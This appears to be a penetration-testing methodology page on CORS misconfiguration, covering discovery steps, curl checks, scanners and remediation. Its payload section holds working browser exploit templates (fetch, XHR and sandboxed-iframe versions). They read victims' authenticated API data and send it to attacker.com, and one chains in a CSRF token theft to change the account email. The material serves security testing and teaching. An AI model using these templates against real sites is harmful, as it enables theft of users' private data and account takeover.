CORS Misconfiguration
Severity: High | CWE: CWE-942 OWASP: A01:2021 – Broken Access Control
What Is CORS?
Cross-Origin Resource Sharing (CORS) allows browsers to make cross-origin requests. A server opts in by returning Access-Control-Allow-Origin headers. The vulnerability occurs when the server reflects the attacker’s origin, allows null origin, or uses overly broad wildcards — combined with Access-Control-Allow-Credentials: true — letting an attacker’s site read authenticated responses from the victim’s browser.
Normal same-origin: browser blocks cross-origin reads (by default)
CORS misconfigured: server says "yes, attacker.com can read my responses"
→ attacker.com JS reads victim's authenticated API data
Key rule: Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true is spec-forbidden — browsers reject it. The dangerous case is when the server dynamically reflects a specific origin.
Discovery Checklist
- Send
Origin: https://attacker.com— does response reflect it inAccess-Control-Allow-Origin? - Send
Origin: null— does response returnAccess-Control-Allow-Origin: null? - Check: is
Access-Control-Allow-Credentials: truepresent alongside a reflected origin? - Test origin variations: subdomain, prefix, suffix, arbitrary subdomain
- Test pre-flight (OPTIONS) — what methods/headers are allowed?
- Test on all API endpoints, not just the main domain
- Check internal APIs (often more permissive)
- Look for endpoints returning sensitive data (tokens, PII, keys)
Payload Library
Test 1 — Reflected Origin
# Send arbitrary origin:
curl -s -H "Origin: https://attacker.com" \
-H "Cookie: session=VALID_SESSION" \
https://target.com/api/user-info \
-I | grep -i "access-control"
# Vulnerable response:
# Access-Control-Allow-Origin: https://attacker.com
# Access-Control-Allow-Credentials: true
Test 2 — Null Origin
# null origin bypass (sandbox iframe trick):
curl -s -H "Origin: null" \
-H "Cookie: session=VALID_SESSION" \
https://target.com/api/user-info \
-I | grep -i "access-control"
# Vulnerable response:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
Test 3 — Origin Validation Bypass
# If server checks that origin "starts with" target.com:
Origin: https://target.com.attacker.com # ← starts with target.com
Origin: https://target.com.evil.io
# If server checks that origin "ends with" target.com:
Origin: https://attackertarget.com # ← ends with target.com
Origin: https://notrealtarget.com
# If server checks domain contains target.com:
Origin: https://target.com.attacker.com
# Subdomain wildcard (if *.target.com trusted):
Origin: https://evil.target.com # ← if you control a subdomain
# HTTP instead of HTTPS:
Origin: http://target.com # ← different origin
Test 4 — Exploit Template (Authenticated Data Theft)
<!-- Host on attacker.com, send link to authenticated victim -->
<!-- When victim visits: their browser sends cookies to target.com,
CORS allows attacker.com to read the response -->
<html>
<body>
<script>
fetch('https://target.com/api/user-info', {
credentials: 'include' // sends victim's cookies
})
.then(r => r.json())
.then(data => {
// Send stolen data to attacker server:
fetch('https://attacker.com/log?d=' + encodeURIComponent(JSON.stringify(data)));
});
</script>
</body>
</html>
Test 5 — XHR Version (older browser compat)
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState == 4) {
fetch('https://attacker.com/log?d=' + encodeURIComponent(xhr.responseText));
}
};
xhr.open('GET', 'https://target.com/api/account', true);
xhr.withCredentials = true; // send cookies
xhr.send();
</script>
Test 6 — null Origin via Sandboxed iframe
<!-- Browser sends Origin: null from sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
fetch('https://target.com/api/sensitive', {credentials:'include'})
.then(r=>r.text())
.then(d=>location='https://attacker.com/log?d='+encodeURIComponent(d));
</script>
"></iframe>
Test 7 — CORS + CSRF Chain
<!-- If CORS allows reading CSRF tokens, chain with CSRF: -->
<script>
fetch('https://target.com/account/settings', {credentials:'include'})
.then(r=>r.text())
.then(html=>{
// Extract CSRF token:
let csrf = html.match(/csrf[^"]*"([a-f0-9]{32,})/i)[1];
// Use token to make state-changing request:
return fetch('https://target.com/account/email/change', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type':'application/x-www-form-urlencoded'},
body: 'email=attacker@evil.com&csrf='+csrf
});
})
.then(r=>fetch('https://attacker.com/done?status='+r.status));
</script>
Tools
# CORScanner — automated CORS misconfiguration scanner:
git clone https://github.com/chenjj/CORScanner
python3 cors_scan.py -u https://target.com
# corsy — fast CORS scanner:
git clone https://github.com/s0md3v/Corsy
python3 corsy.py -u https://target.com
# Manual curl test:
for origin in "https://attacker.com" "null" "https://target.com.attacker.com" \
"https://attackertarget.com" "http://target.com"; do
echo -n "Origin: $origin → "
curl -s -H "Origin: $origin" https://target.com/api/ -I 2>/dev/null | \
grep -i "access-control-allow-origin"
done
# Burp Suite: add Origin header to all requests in Proxy settings
# Search Burp history for "Access-Control-Allow-Credentials: true"
Remediation Reference
- Never reflect the
Originheader back asAccess-Control-Allow-Originwithout validating against an explicit allowlist - Allowlist exact origins:
["https://app.company.com", "https://admin.company.com"]— no substring matching - Never allow
Origin: nullin production - Avoid wildcard
*combined with credentials — browsers block it but configure explicitly - Treat CORS as defense-in-depth: proper authorization on server-side regardless of CORS settings
Part of the Web Application Penetration Testing Methodology series.